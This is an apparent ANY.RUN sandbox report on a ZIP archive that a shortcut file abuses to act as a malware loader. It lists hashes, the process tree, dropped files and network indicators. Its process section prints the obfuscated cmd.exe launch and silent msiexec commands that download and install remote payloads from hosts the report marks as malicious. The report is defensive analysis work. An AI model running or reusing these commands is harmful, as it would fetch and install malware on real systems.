File name:

Test.zip

Full analysis: https://app.any.run/tasks/cacf2f9c-c1ee-46a6-9d8f-c318ad87fd47
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: February 08, 2022, 11:47:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
loader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

22531E030B05DBAAFE9932B8779C73F6

SHA1:

F0BE02C32A05A653B75BFEC845306BD7555042FA

SHA256:

F89B5EF68B23921FFFD500EDD254C2D44264E9F20EB682DC97ECDD97ED5FE6F6

SSDEEP:

192:Q69ETWEICqZ72iQwRRPMg4JKwxTmw4vi/OuqapReLhuYM6:DtZUwRRoJKwJZ4viWX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Runs app for hidden code execution

      • cmd.exe (PID: 748)
      • cmd.exe (PID: 3552)

  • SUSPICIOUS

    • Checks supported languages

      • WinRAR.exe (PID: 2224)
      • cmd.exe (PID: 3136)
      • cmd.exe (PID: 3552)
      • notepad++.exe (PID: 3136)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 748)
      • cmd.exe (PID: 3552)

    • Reads the computer name

      • WinRAR.exe (PID: 2224)

    • Application launched itself

      • cmd.exe (PID: 748)
      • cmd.exe (PID: 3552)
      • msiexec.exe (PID: 652)

    • Executed as Windows Service

      • msiexec.exe (PID: 652)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 652)

    • Reads Windows owner or organization settings

      • msiexec.exe (PID: 652)

    • Reads the Windows organization settings

      • msiexec.exe (PID: 652)

    • Creates files in the user directory

      • notepad++.exe (PID: 3136)

  • INFO

    • Manual execution by user

      • cmd.exe (PID: 748)
      • rundll32.exe (PID: 3128)
      • cmd.exe (PID: 3552)
      • notepad++.exe (PID: 3136)

    • Checks supported languages

      • cmd.exe (PID: 748)
      • rundll32.exe (PID: 3128)
      • cmd.exe (PID: 528)
      • msiexec.exe (PID: 2840)
      • msiexec.exe (PID: 652)
      • MsiExec.exe (PID: 3656)
      • msiexec.exe (PID: 404)
      • msiexec.exe (PID: 3120)
      • msiexec.exe (PID: 1936)

    • Reads the computer name

      • msiexec.exe (PID: 652)
      • MsiExec.exe (PID: 3656)
      • msiexec.exe (PID: 1936)
      • msiexec.exe (PID: 404)
      • msiexec.exe (PID: 2840)
      • msiexec.exe (PID: 3120)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: Test/
ZipUncompressedSize: -
ZipCompressedSize: -
ZipCRC: 0x00000000
ZipModifyDate: 2022:02:08 11:47:15
ZipCompression: None
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
13
Malicious processes
0
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs rundll32.exe no specs cmd.exe no specs notepad++.exe msiexec.exe no specs msiexec.exe msiexec.exe no specs msiexec.exe no specs msiexec.exe no specs msiexec.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
404mSIExEC /Q -I"hTTP://kjaj.top:8080/80wOpGuotSU/USER-PC?admin" C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows� installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
528cmdC:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
652C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows� installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
748"C:\Windows\System32\cmd.exe" /v/r !COmSPEC!<xPhfK.UsbC:\Windows\System32\cmd.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1936mSIExEC /Q -I"hTTP://ynns.uk:8080/80wOpGuotSU/USER-PC?admin" C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows� installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2224"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Test.zip"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
2840mSIExEC /Q -I"hTTP://u0.pm:8080/80wOpGuotSU/USER-PC?admin" C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows� installer
Exit code:
1603
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3120mSIExEC /Q -I"hTTP://xjam.hk:8080/80wOpGuotSU/USER-PC?admin" C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows� installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3128"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\Test\Test\xPhfK.UsbC:\Windows\system32\rundll32.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3136C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
0
Read events
0
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
0
Text files
1
Unknown types
7

Dropped files

PID
Process
Filename
Type
3136notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\backup\xPhfK.Usb@2022-02-08_115042txt
MD5:—
SHA256:—
2224WinRAR.exeC:\Users\admin\Desktop\Test\Test\xPhfK.Usbtxt
MD5:B0B2EAD1678DAC29A5F3B0D2B9E666C5
SHA256:444F3F5B530101C4EDA1810518F743319A02315B5F16DCCA51DC49551479C69A
3136notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\session.xmltext
MD5:—
SHA256:—
652msiexec.exeC:\Windows\Installer\MSIF186.tmpexecutable
MD5:—
SHA256:—
2224WinRAR.exeC:\Users\admin\Desktop\Test\__MACOSX\Test\._USB Drive.lnkad
MD5:2FE18BCB556409E204C8B0E6328C2FBD
SHA256:25DF9367EF3C4A046F9B5BCCF2AC728957B096060AE640C8AD12220B23E6AFA3
2224WinRAR.exeC:\Users\admin\Desktop\Test\__MACOSX\Test\._xPhfK.Usbad
MD5:5169D925C6B684AD6D86A7F8A57A1D02
SHA256:DC844A8F17858EF7F362614F514DFFF76EBFFCBB1DBB5FA58BC5C707B9643CD0
652msiexec.exeC:\Windows\Installer\MSIFA60.tmpexecutable
MD5:311FE9D6F518ECAC59BAC62ACFB32949
SHA256:FB78B211442267ADFEBA7608BCEF913A3C336C2058CFAA9D68C09AA353A8A643
2224WinRAR.exeC:\Users\admin\Desktop\Test\Test\USB Drive.lnklnk
MD5:4D9D0BE6414D2CC2FD2B7FAB46C0BF67
SHA256:A4A5D5683E99A5426036587B479B7DE9E624E5404ADBD60524B17F2E51441642
2224WinRAR.exeC:\Users\admin\Desktop\Test\__MACOSX\Test\._.DS_Storead
MD5:B9A94CC8F4AAC450FB21641EAF065C6D
SHA256:2F380F4A3D05A8D90C2106F50DA75064E9CE57A598599DC5404F8F69A0223AA9
2224WinRAR.exeC:\Users\admin\Desktop\Test\Test\.DS_Storeds_store
MD5:194577A7E20BDCC7AFBB718F502C134C
SHA256:D65165279105CA6773180500688DF4BDC69A2C7B771752F0A46EF120B7FD8EC3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
6
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
652
msiexec.exe
GET
200
77.222.169.40:8080
http://u0.pm:8080/80wOpGuotSU/USER-PC?admin
NO
executable
1.17 Mb
malicious
652
msiexec.exe
GET
404
185.55.243.109:8080
http://xjam.hk:8080/80wOpGuotSU/USER-PC?admin
DE
html
146 b
malicious
652
msiexec.exe
GET
404
78.10.163.208:8080
http://kjaj.top:8080/80wOpGuotSU/USER-PC?admin
PL
html
146 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
652
msiexec.exe
185.55.243.109:8080
xjam.hk
GHOSTnet GmbH
DE
malicious
652
msiexec.exe
77.222.169.40:8080
u0.pm
Broadnet AS
NO
malicious
652
msiexec.exe
78.10.163.208:8080
kjaj.top
Netia SA
PL
malicious

DNS requests

Domain
IP
Reputation
u0.pm
  • 77.222.169.40
malicious
kjaj.top
  • 78.10.163.208
malicious
ynns.uk
  • —
malicious
xjam.hk
  • 185.55.243.109
malicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
652
msiexec.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
6 ETPRO signatures available at the full report
Process
Message
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\plugins\Config\nppPluginList.dll
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Test.zip